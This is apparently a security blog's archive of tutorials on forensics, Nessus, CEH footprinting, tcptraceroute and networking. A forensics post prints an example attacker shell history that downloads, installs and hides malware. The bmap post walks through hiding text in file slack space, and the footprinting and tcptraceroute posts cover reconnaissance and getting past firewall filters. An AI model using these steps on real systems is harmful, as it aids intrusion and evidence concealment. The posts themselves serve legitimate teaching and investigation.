Tag Archives: tutorial

How To View Windows Registry On Linux

Digital Forensics, information security / tagged fred, fred tutorial, how to install fred, how to read registry, how to use fred, read registry, tutorial, use linux to read windows registry, windows registry / June 25, 2014 / by admin

Introduction

Forensic Registry EDitor (fred) is a cross-platform Microsoft registry hive editor. It is GUI based registry editor that can work on Linux and has a built in hex viewer and data interpreter.

Installation

The best way to install this tool is listening its owner Daniel:

In order to automatically stay up-to-date when new versions are released, I recommend adding my repository to your software sources list. This is done by executing the following commands:

sudo wget -P /etc/apt/sources.list.d/ http://deb.pinguin.lu/pinguin.lu.list wget -q http://deb.pinguin.lu/debsign_public.key -O- | sudo apt-key add - sudo apt-get update
Once done, you can install packages by issuing:
sudo apt-get install fred fred-reports

Environment

I used a hard disk image of a Windows system.

# ewfmount myImage.E01 /mnt/ewf/ # mount -o ro,loop,show_sys_files,streams_interface=windows /mnt/ewf/ewf1 /mnt/windows_mount

I mounted my image in /mnt/windows_mount. Since I was using an E01 image, I used two step process to mount my image. For details on how to mount E01 image in Linux you can check this post. You don’t need to use E01 image. Any image you could mount in Linux i.e. raw image would be fine.

Usage

I will give some examples that shows how to use this powerful tool. First let’s cover the locations of hives. If you already are familiar with Windows Registry you can skip this section and continue on Finding unique device serial number of a USB Key.

In Windows NT 4 (and later) the Registry is stored in the Windows NT Registry File (REGF) format (http://www.forensicswiki.org/wiki/Windows_Registry).

Basically the following Registry hives are stored in the corresponding files:

HKEY_USERS: \Documents and Setting\User Profile\NTUSER.DAT
HKEY_USERS\DEFAULT: C:\Windows\system32\config\default
HKEY_LOCAL_MACHINE\SAM: C:\Windows\system32\config\SAM
HKEY_LOCAL_MACHINE\SECURITY: C:\Windows\system32\config\SECURITY
HKEY_LOCAL_MACHINE\SOFTWARE: C:\Windows\system32\config\software
HKEY_LOCAL_MACHINE\SYSTEM: C:\Windows\system32\config\system

1. Finding unique device serial number of a USB Key

This information is stored at SYSTEM\CurrentControlSet001\Enum\USBSTOR

We know that SYSTEM registry hives are stored in C:\Windows\system32\config\system

Lets go to the directory that we have system file (/WINDOWS/system32/config/system) I mounted it in the /mnt/windows_mount so I will type

cd /mnt/windows_mount/WINDOWS/system32/config

Then I can type the following to run fred on system file:

root@siftworkstation:/mnt/windows_mount/WINDOWS/system32/config# fred system

So it is the value I circled red.

2.What was last time that a user opened a .doc file

This data stored in NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocsn>

NTUSER.DAT is in \Documents and Setting\User Profile. First we need to go into that directory and run
fred NTUSER.DAT

So it is the value I circled red.

3.What was the last program a user ran using the Start->Run dialog.

We need to use fred and open NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

At the right column we see what the user run using start->run.

Conclusion

Windows registry includes good information for investigators. Fred helps investigators to find the data they need in registry very easily. The best thing about Fred it is open source and cost you zero dollar…

I would love to hear from you about what you think about fred and registry tools in general.

Hiding Data: Slack Space on Linux

Digital Forensics, information security, Linux / tagged article, bmap, forensics, hiding data, how to, how to hide data on Linux, Linux, slack space on Linux, tutorial / December 27, 2010 / by admin

I am going to cover slack space in various operating systems. the first post would be about the slack space in Linux.

What is Slack Space?

Before going to explain slack space, one should know what blocks (on Linux) and clusters mean (on Windows). Blocks are specific sized containers used by file system to store data. Blocks can also be defined as the smallest pieces of data that a file system can use to store information. Files can consist of a single or multiple blocks/clusters in order to fulfill the size requirements of the file. When data is stored in these blocks two mutually exclusive conditions can occur; The block is completely full, or the block is partially full. If the block is completely full then the most optimal situation for the file system has occurred. If the block is only partially full then the area between the end of the file the end of the container is referred to as slack space. Linux write nulls on slack space. This means to find data in slack space on Linux systems are rare. However, it is not impossible.

Today, I am going to show how to hide data on slack spaces using a tool called bmap.

Bmap

Bmap ,a data hiding tool, can utilize slack space in blocks to hide data.

It can perform lots of functions interesting to the computer forensics community and the computer security community. However, in this article we will focus on its data hiding capability.

Installing Bmap

Click this link and save the tar.gz file on your Linux desktop.tar xvzf bmap-1.0.17.tar.gz

After untaring the file, we now can go inside of the directory and compile the program.
cd bmap-1.0.17 make

Optional: I placed bmap into /sbin so don’t need to go into the bmap directory each time I want to run the program.
ln -s yourBmapFilePath /sbin/bmap

Hiding Data on Slack Space

In the following example we will hide some text into slack space. Let’s see what options we have with bmap:
bmap --help bmap:1.0.17 (12/25/10) newt@scyld.com Usage: bmap [OPTION]... [] use block-list knowledge to perform special operations on files --doc VALUE where VALUE is one of: version display version and exit help display options and exit man generate man page and exit sgml generate SGML invocation info --mode VALUE where VALUE is one of: map list sector numbers carve extract a copy from the raw device slack display data in slack space putslack place data into slack wipeslack wipe slack checkslack test for slack (returns 0 if file has slack) slackbytes print number of slack bytes available wipe wipe the file from the raw device frag display fragmentation information for the file checkfrag test for fragmentation (returns 0 if file is fragmented) --outfile write output to ... --label useless bogus option --name useless bogus option --verbose be verbose --log-thresh logging threshold ... --target operate on ...

The option I am going to use –mode option with slack, putslack, wipe, map VALUEs. I have created a text file named Ismail.txt. Let’s see what sectors this file uses.
bmap --mode map ismail.txt 3113400 3113401 3113402 3113403 3113404 3113405 3113406 3113407
As you can see from the output of bmap, ismail.txt uses 8 sectors starting from 3113400. This corresponds a block in Linux. This text file is too small to use all of these sector in the block.

bmap --mode slack ismail.txt getting from block 389175 file size was: 8 slack size: 4088 block size: 4096

The file only uses 8 bytes (1 sector is 512 bytes, so it is in the first sector). All of 7 sectors and 504 bytes of the first sector are empty (Linux write null on the slack space, so all they have 0s.)

We can use this slack space to hide data.

echo "I'm hiding this and you cannot easily see it" | bmap --mode putslack ismail.txt stuffing block 389175 file size was: 8 slack size: 4088 block size: 4096

Now check what we have in slack space:

bmap --mode slack ismail.txt getting from block 389175 file size was: 8 slack size: 4088 block size: 4096 I'm hiding this and you cannot easily see it

(This command also gives the block number of the file, 389175)

We can now wipe the data we put on slack space.
bmap --mode wipe ismail.txt

bmap --mode slack ismail.txt
getting from block 389175 file size was: 8 slack size: 4088 block size: 4096

Summary

Slack space can be used for hiding data. Even though advanced forensics tools reveal the hidden information in slack space, most system owners will not check all slack space since this is so time consuming activity. Bmap is one of the tool that helps attackers to hide information into slack space on Linux systems. As security engineers, we need to be careful when we analyze a compromised Linux systems and check slack space as well.

CEH Exam Module 3: Footprinting

Certifications, Certified Ethical Hacker / tagged 312-50, 312-50 braindump, ceh braindumps, ceh certification, ceh certification study guide, ceh exam, ec-council, ethical hacking, foot printing, how to, tutorial / October 29, 2010 / by admin

We covered the first module. I skipped the second one since you can read that Law section in your study book or any other place. I may have a post about it later.

Foot printing is one of the most important step in hacking. You need to know what your targets are capable of. Do they have IDS? Do they have firewall? What are the firewall rules? Who is their system admin? What is his e-mail address? …

There are lots of sites that you can gather info. My favorites are google, archive.com, PiPl.

Foot Printing Tools

For your CEH exam you need to know bunch of foot printing tools. I cannot mention all of them here, but I will tell the most important ones.

Google: Google and hacking tool? Yes, google can be used as a hacking tool. However, you need to know how to make effective searches.

I.) Phrase search (“”): By putting double quotes around a set of words, you are telling Google to consider the exact words in that exact order without any change. This is useful if you need exact strings in your search.

II.) Search within a specific website (site:): Google allows you to specify that your search results must come from a given website. For example, the query nessus site:nytimes.com will return pages about nessus but only from nytimes.com. This can be very useful if you already know what site can give best info about your target.

III.) Terms you want to exclude (-)
Attaching a minus sign immediately before a word indicates that you do not want pages that contain this word to appear in your results. The minus sign should appear immediately before the word and should be preceded with a space. For example, in the query anti-virus software, the minus sign is used as a hyphen and will not be interpreted as an exclusion symbol; whereas the query anti-virus -software will search for the words ‘anti-virus’ but exclude references to software.

IV) Fill in the blanks (*): The *, or wildcard, is a little-known feature that can be very powerful. If you include * within a query, it tells Google to try to treat the star as a placeholder for any unknown term(s) and then find the best matches. For example, the search Google * will give you results about many of Google’s products. Note that the * operator works only on whole words, not parts of words.

Whois: Whois important tools that can list very important information about the websites such as e-mail addresses, contact names, phones, expiration date of the websites. On your linux machine you can run whois domainName and get details of the domain. You can also use whois.com

Whatismyipaddress.com: This is a website that give details of a given IP.

Traceroute: With traceroute you can get some information about the network. Traceroute list the routers between you and the target. This can be really useful information if you lunch a networking attack against the router.

Nslookup/host/dig : All of these tools do same job: List ip addresses for a given domain name. It basically query.

For example, if you want to learn IP address of google.com, type

C:\Users\ismail nslookup google.com
Server:
Address:
Non-authoritative answer:
Name: google.com
Addresses: 74.125.227.16
74.125.227.17
74.125.227.18
74.125.227.20
74.125.227.19

Dig has more capacity besides giving you IP address of a domain (that can be done by pinging the server right? ).

There is a good article at slicehost website that cover some details of dig.

robot.txt: The Robot Exclusion Standard, also known as the Robots Exclusion Protocol or robots.txt protocol, is a convention to prevent cooperating web spiders and other web robots from accessing all or part of a website which is otherwise publicly viewable. Robots are often used by search engines to categorize and archive web sites, or by webmasters to proofread source code. The standard is unrelated to, but can be used in conjunction with, Sitemaps, a robot inclusion standard for websites.

As an ethical hacker, you can check if the webserver has a robot.txt file by looking www.example.com/robot.txt Some system admins think disallowing search engines searching directories may have sensitive information is a security measure that prevent others see these directories in search results. HOWEVER, by listing your sensitive directories in robot.txt will just make hackers to focus on these directories and worse thing you already saying where to attack…

I would not recommend using robot.txt. Instead secure these important directories by encrypting, or using access control methods.

As an ethical hacker always check robot.txt because there are lots system admins who does not know security very well.

Summary

Foot printing is an important phase of hacking. In this phase, the goal is get as much as information about the target. This information will be critical part of the attack vectors that be used in the next phases.

There are much more tools than what I covered here. You need to know them for the CEH exam. I will also cover more in later.

Tip: Study active and passive foot printing, know the difference.

Networking Setup on Debian Based Systems

computer network security, quick tips / tagged articles, debian, how to, networking, setting up static ip, tutorial, Ubuntu / August 16, 2010 / by admin

Setting up network on linux machine can be a little challenging if you want to do static ip address.

First you need to be familiar with networking files and commands in linux.

Briefly ifconfig is the command you will use oftenly.

ifconfig will list network interfaces with their IP, and broadcast, netmask.
To see your gateway use route -n

Where is your dns servers?
Well check /etc/resolv.conf

If you want to use dhcp (which is by default on all Debian based systems) you should not touch any of these.

However what if you need to use static configuration?

Then lets take a look at our interfaces file /etc/network/interfaces

Typical static logical device configuration

# The primary network interface
auto eth1
iface eth1 inet static
address 192.10.119.240
netmask 255.255.255.224
network 192.10.119.224
broadcast 192.10.119.255
gateway 192.10.119.241
dns-nameservers 192.10.119.241
# The secondary network interface
auto eth0
iface eth0 inet dhcp

Here eth1 was configured to use a static IP: 192.10.119.240
netmask, network, broadcast and gateway ips are also defined here as well as dns-nameservers.

auto means interface will automatically be up after boot.
as you see eth0 use dhcp configuration.

If you want to just change the gateway i then

ifconfig eth1 down
route add default gw 192.1o.119.254
ifconfig eth1 up

For more info you can check this document: http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch03_:_Linux_Networking#How_to_Change_Your_Default_Gateway

TCPTraceroute to Bypass the Firewall filters

computer network security, information security, Networking, quick tips, security tools / tagged find route, how to tcptraceroute, install tcptraceroute, linkedin, Linux, tutorial / December 2, 2009 / by admin

Introduction

The first step for penetration testers is getting information about the system. Traceroute is a great tool for this purpose.

Traceroute shows the route between you and the target machine. Linux has a command line utility called traceroute.

traceroute uses UDP.

Windows has a tool called tracert.

tracert uses ICMP.

It is quite common for firewalls to be configured to block ICMP or UDP and thereby prevent Traceroute from returning useable information.

One program designed to get around this issue is Michael Toren’s TCPTraceroute.

TCPTraceroute uses TCP SYNpackets insted of ICMP or UDP and is able to bypass common firewall filters.

Installation

TCPTraceroute is currently available for only Linux. You can install on your debian based machine by using apt-get:

<p style=”background: black; color: white”>
</p>ISMAIL

sudo apt-get install tcptraceroute

Example

Summary

As a penetration tester to gain information about the target system, you need to be familiar with several tools. One of these tools is tcptraceroute. It can bypass most of the firewalls since it uses TCP unlike tracert and traceroute.

Introduction to Linux Forensics- Part I

Digital Forensics, Linux / tagged article, comprimised machine, howto, investigating Linux, linkedin, Linux Forensics, tutorial / November 18, 2009 / by admin

It has been two weeks since I have not made a new blog post. There are some reasons behind this. I am busy with the work.

However, I don’t ignore my blog and actually was writing 2 new blog posts; one for the e-mail security with GPG and another one for my third Nessus blog post. Those are still in progress. I just saved them and will complete as soon as I have more free time.

I am currently visiting Rackspace Cloud at San Antonio. I started to write this blog post in the plane and now I will complete it in my hotel room…

———————————————————————————————————

I am currently writing an article for the Slicehost customers to show them how to investigate their slices (Linux VPS) during a possible compromise.

I am doing some research and implementing my knowledge on the Slicehost environment which takes quite time to complete the article.

I thought it would be good to have a blog post about a more general environment. This is the my first forensic related post. Yes, I have huge interest on Computer Forensics.

Introduction

First of all, this article covers only the basic of Linux forensics. By saying that I won’t cover any highly sophisticated forensic techniques here ( at least in first two articles)

The aim of this blog post is simply showing you the way you can investigate your compromised Linux machine and learn from your mistakes. ( I will have articles about some advanced forensics tools such as autopsy, vinetto and MboxGrep later)

IMPORTANT WARNING: Before you do anything, you need to make an important decision—do you plan to involve law enforcement and prosecute the attacker? If the answer is yes, you should leave the compromised system alone and make no changes to it.

Any changes you make post-attack could complicate and taint the evidence, and because of that, many people have a policy of unplugging a system once they detect an attack and leaving it off until law enforcement arrives.

Investigators likely will want the complete system, or at least the drives, so they can store it safely; thus, your forensics analysis might end here until your system is returned. [1]

Nobody is perfect. Everybody can make mistakes. However, I avoid as much as possible to make same mistake twice. I believe only stupid people do that. At least, I feel stupid if I do same mistakes.

Ok, back to our lesson. We have a compromised Linux machine. First be calm. It is ok to get hacked. We are not only ones whose boxes got cracked. Of course, good system administrators will do everything to avoid this type of situation.

However, even if you believe you are so knowledgeable system admin, your machines can be hacked by an attacker who exploited a new discovered vulnerability…

Checking Network Connection

Check the network connections and open ports with netstat command.

Usage

netstat -an

By running this command you can see the any backdoors that are listening
.

tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN

In this case we see port 6697 is open. It is not a good sign because that port is used by IRC. We can sniff the connection by tcpdump. For more info on tcpdump, check this blog post.

tcpdump src port 6697

You can check here for more info on IRC bots.

Checking Last Logged in IPs

Brute force attack is a very popular type of attack. You may be able to find who was attacked you by checking last logged in IPs with the last command.

Using last you can determine the time a user logged in and out. It also provide you the hostname / IP address from where the user logged in from.

last -25

This will give us last 25 users’ IP who logged in the system.

/var/log/auth_log file can also have valuable information regarding to successful or failed login attempts.

Checking Last Commands

You may have heard “No crime is perfect” a lot if you have ever watched the Forensic Files TV show. It is true. Only a few good hackers cannot leave their finger prints on their digital crime.

For example, most of the time intruders leave their their .bash_history files. .bash_history file contains the last commands used with the bash shell.

This can give us a lot information about what they did, what they installed and where they got their files from. Typical entries may include,

wget http://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar
cd hpd
install
cd ..
rm malware.tar
cd /dev/.hpd

This tells us the url they got the malware from, how they ran it, and where it was
installed. A good starting point for looking for their directory! [2]

Be aware of the way .bash_history store the information! It only show the all commands which has been run by a spesific user after he logged out.

In case attacker is logged in and you are trying to check his .bash_history, you may see an empty file.

Use who command to see active users on the machine.

who
user1 pts/0 Nov 18 23:33 (1.2.3.4)
user2 pts/1 Nov 16 10:22 (5.6.7.8)

We see two active users on the system. If user2 is compromised account, we should tcpdump and monitor his activity:

tcpdump host 5.6.7.8 -w demo.dump

You can also use thehistory command to list the history of the last executed commands.

To get more useful information from history command and .bash_history file, let’s modify /etc/profile directory.

Add following line at the end of the file:

export HISTTIMEFORMAT=”%h/%d – %H:%M:%S “

You can now see the time when the commands run. (You will be able to see all commands with time stamps on the history ‘s output.

However, for .bash_history, you will be only able to see time stamps for new commands which is not useful for us.

Summary

We learn some basic information for investigating compromised Linux machines such as checking network connection, active users on the system, getting bash history, last logged in users IP etc… All of these are so critical information to track intruders and find security holes on the system.

The next post will discuss integrity checks and some helpful tools such as rootkit scanners.

A Powerful Vulnerability Scanner: Nessus- Part II

password crackers, security tools, sniffers, Uncategorized, Vulnerability Scanners / tagged how to, howto, linkedin, Nessus, scanning, tutorial, vulnerability management, vulnerability scanner / November 3, 2009 / by admin

In my last blog post, I mentioned about Nessus licenses and installation processes. Today, I would like to write about usage of Nessus.

Updating Plug-ins

After you register and activate the nessus server, it will start to download and then update the plugins. Plug-ins are kind of virus signatures. Plug-ins test the common vulnerabilities on a machine. Nessus plugins are written on Nessus Attack Scripting Language (NASL). [It might be a good idea to have articles for how to write NASL too.]

Updating plug-ins (for the first time) can take up to 20 minutes so be patient.

Client Configuration

Start Nessus Client from Start->Applications->Tenable->Nessus Client.

Click the ‘+’ sign at the left. This will bring ‘Target Window’ where we can set which targets we want to scan.

We have 4 options that we can use the scan the network. The first one is single host. You can use the hostname or the IP address. (example.com or 123.4.5.67)

Second option is IP range. Basically, we can provide a valid ip range such as 192.168.0.1-192.168.0.254.

We can also scan a subnet by providing its network and subnet address. (Network Address: 192.168.0.0; Subnet mask: 255.255.255.0)

We can provide host names or IP we want to scan in a text file. This is beneficial if you already have the list of the machines you want to scan and don’t want to scan all the network.

Choose what ever option you like and then click ‘Save’.

Connecting to the Nessus Server

We will use ‘connection manager’ to connect to the Nessus server.

First, click the Connect button at the lower left side. It should bring connection manager.

As you see, by default we can connect the localhost. (since I have running nessus server on the local machine I will use this option.) If we have our server on a different machine than local machine, then click plus sign at the bottom left side.

You can name the new connection and choose the authentication method you want. You can simply use password based authentication or SSL based authentication.

After you set up the connection, click ‘Save’. You should see a ‘New Certificate Window’ if you are connecting to the server first time. Click ‘Yes’ and login to the server.

Policies

Now, we need to add a new policy. Click the plus sign at the right side and save this policy as Default Policy. In this way, you will always have the default policy in the policy section. Let’s create a more specific policy. We will scan a Linux server (CentOS) which has Apache and MySQL on it.

Plugin Selection

To create a new specific policy for our example, click the plus sign again and then hit ‘Plugin Selection’ tab. The server we are scanning is a CentOS Linux. So we don’t need to have Local Security Checks Plug-ins for Windows, Fedora, Redhat, Ubuntu and Debian. Uncheck all of these (Of course you will uncheck the ones except your OS). Same thing goes with IIS Webserver. Now, click Policy tab and save this Policy as Linux_CentOS Policy.

Important Note: The “Denial of Service” family contains some plugins (all of DoS plugins are enabled by default) that could cause outages on a corporate network if the “Safe Checks” option (Safe Check is also enabled by default-it is under the Options tab) is not enabled, but does contain some useful checks that will not cause any harm. The “Denial of Service” family can be used in conjunction with “Safe Checks” to ensure that any potentially dangerous plug-ins are not run. However, it is recommended that the “Denial of Service” family not be used on a production network.

Let’s start scanning by clicking ‘Scan now’ button at the below.

Reports

After scan completes, you can see the result under the ‘Report’ section.

Nessus found one medium and 8 low risks. Usually, you can ignore the low risk and you can ignore the medium risk for some cases.Orange color on a port number (in our example, it is port 80 ) means the highest risk is medium. Red means highest risk is a ‘high risk’ (!) and black means it is a ‘low risk’.

Nessus gives the important information about possible vulnerabilities. You will see Synopsis, Description, Solution, Risk Factor and Plugin Output on the report.

We can sort the output based on Vulnerabilities, hosts, ports, IPs (one host can have more than one IP, right!) by using ‘View Template’ button on the lower right side.

We can export the report as html which is useful. We can also get CVE output and create an excel file if it is some thing you want. ( I prefer creating excel files using csv templates on Nessus, it makes my report more customizable)

Conclusion

In this blog post, we learned how to configure a Nessus client and connect it to a Nessus server, how to scan networks, and how to read Nessus reports. In the next blog post(s), we look into more details about scanning progress and user management on Nessus.

A Powerful Vulnerabilty Scanner: Nessus- Part I

information security, password crackers, security tools, sniffers, Vulnerability Scanners / tagged article, best practice, how to, installing nessus, linkedin, Nessus, nessus licenses, tutorial, vulnerability management, vulnerability scanner / November 2, 2009 / by admin

I will have some blog posts about Nessus. In this first one, I will mention general issues about it.

What is Nessus?

Nessus is a proprietary comprehensive vulnerability scanning software. It is free of charge for personal use in a non-enterprise environment. Its goal is to detect potential vulnerabilities on the tested systems.

You can scan ports and see the things crackers can find to hack so you can take action before they do! There will be some examples later for the vulnerabilities we can find with Nessus.

I always think Nessus is kind of outbox scanner for remote stuff and usually it works in that way. However, it can find default password or weak passwords too.

If you are working on a vulnerability management project, I will recommend you to have another scanner for scanning in the boxes ( i.e vulnerabilities for the software running on the machines. I like Sunbelt Network Security Inspector for this purpose)

Anyway, let’s check License options for Nessus.

Licenses: What are Licenses? Wasn’t Nessus GPL and free ?

It was free but in 2005 creator of Nessus sold it to Tenable Network Security. Tenable still maintains Nessus 2.0 under GPL. They closed the source code for the version 3.0 and higher.

Version 3.0 was the first one which was done by Tenable. It was running almost 5 times faster than v2. V3 was popular too but having 3 licenses for one product makes users a little confused.

The first type of the licenses is ProfessionalFeed License. With this license, Tenable provides you support of the application. They also provide plugins for you earlier than other licenses.

Pricing for the ProfessionalFeed is based upon the number of Nessus scanners in use within your organization, consultancy or service. The cost is $1,200 per scanner per year.

You can buy ProfessionalFeed from here.

The other type of License is HomeFeed License. A HomeFeed is available for free to individual home users, and cannot be used by organizations or individuals professionally.

The last one is on demand. It allows you to evaluate the ProfessionalFeed by using the HomeFeed subscription commercially for 15 days. You may only perform such an evaluation once.

The on-demand evaluation does not give you access to the customer portal, nor to the features specific to the ProfessionalFeed but should be adequate to test Nessus. You can obtain an activation code here.

Installing and Activating Nessus

Installing Nessus is so straight forward. You can download it from this link. It can run on Linux, Windows and Mac.

For this blog post, I installed it on a windows machine.

After you set it up, don’t forget to activate it. (Remember, even non-professional use of nessus, you are required to get it activated. (They will send you activation key via e-mail, just grab the key and paste on the dialog window)

How It Works

You need to understand how the software works before scanning the machines across the network.

The most important thing you need to know is Nessus is agentless scanner. What is agentless?

Well, some security software needs to be installed on each machine you scan. However, the way nessus works is different. It uses client/server architecture. There will be a client machine in which you can run the software and make configuration for the scan. There will also be a server, the machine which performs what you tell by using the client machine.

Server and client can be same machine. Don’t forget, you don’t need to pay for each client but you need to pay for each server you install (They are required to have different licenses)

Client/Server Architecture brings some flexibilities. The first one is remote scanning.

You can install the server inside of the network and run client from a remote place say your home. This is so helpful since you don’t need to deal with firewall or IDS issues which can effect the scanning result.

Second advantage is one machine is enough to run a scan for all the network. This is definitely time saving!

I will cover the usage and configuration of Nessus in the next blog post.

BackTrack 4 on Windows Machine

Uncategorized / tagged article, backtrack 4, convert VMware to Virtual PC, how to, quick tips information security, tutorial / October 29, 2009 / by admin

As I mention on the “Some Updates About MySelf” I will update my blog more frequently. Today, I want to talk about BackTrack4.

Backtrack is a lovely Linux distribution for security professionals. BackTrack4 is now using debian deposotories and that makes it nicer for me.

If you want to run BackTrack on your windows machine, you can use LiveCD or a virtual machine.

Only virtual image I have found was for VMware. VMPlayer is not best solution for a windows machine. Ram and cpu usage goes up and machine can be so slow. However Virtual PC 2007 runs smoothly.

If you get BackTrack VMware image from this link and could not find an image for virtual PC, don’t worry. Install VirtualPC 2007 from here.

Then go to this website and get the VMDK converter. This program will convert VMware images to virtual PC’s virtual hard disk image.

Use ‘letmein’ as your username and ‘bugmenot’ as your password ( Yeah, I don’t like to set up an account either!)

After unzip the directory and start program, you convert BackTrack 4 image to Virtual PC’s hard drive.

That is it!

Ask any question or problem you have.

About GMAIL’s Security

E-mail Security, information security / tagged article, email security, gmail security settings, how to, tutorial / October 15, 2009 / by admin

One of my friend recently has a problem with one of his gmail account. The account was compromised. He was sure that he was using strong, unpredictable password. I asked him if he has ever used internet on the public places. His answer was no. He also uses ssh proxy so this cannot be a man middle attack by using arp poisoning.

I am not sure if password database of google got attacked and compromised or it was just an individual problem, but I wanted to check my g-mail account to see what security features gmail has.

My friend understood his account got compromised once he discovered there is a back up e-mail address which he has no idea with it.

The problem is even tough he can change the password, the current sessions would be open. This is bad since attackers still can read/send e-mail from his account.

After I checked my gmail account I found followings:

gmail security settings

As you see gmail tell us last account activity by giving the login time.

If you click the details, you will see this screen:

gmail2

There are 5 IPs listed here. Now you can check if you see any unfamiliar IP. I saw one IP in there. I have checked it on whatismyipaddress.com and I was surprised it was from NY. I have iphone so when I was in 3G network, I may use NY IP. However, it was listed IMAP instead of mobile, that makes me a little uncomfortable.

I used my iPhone and see that if it was using same network number in the IP address field. Yes, it did! And, I felt much better:)

There is a button at the upper left to sign out all of the open session except the current one. This will make sure that we are now the only one using this account.

I hope you enjoy with these tips:)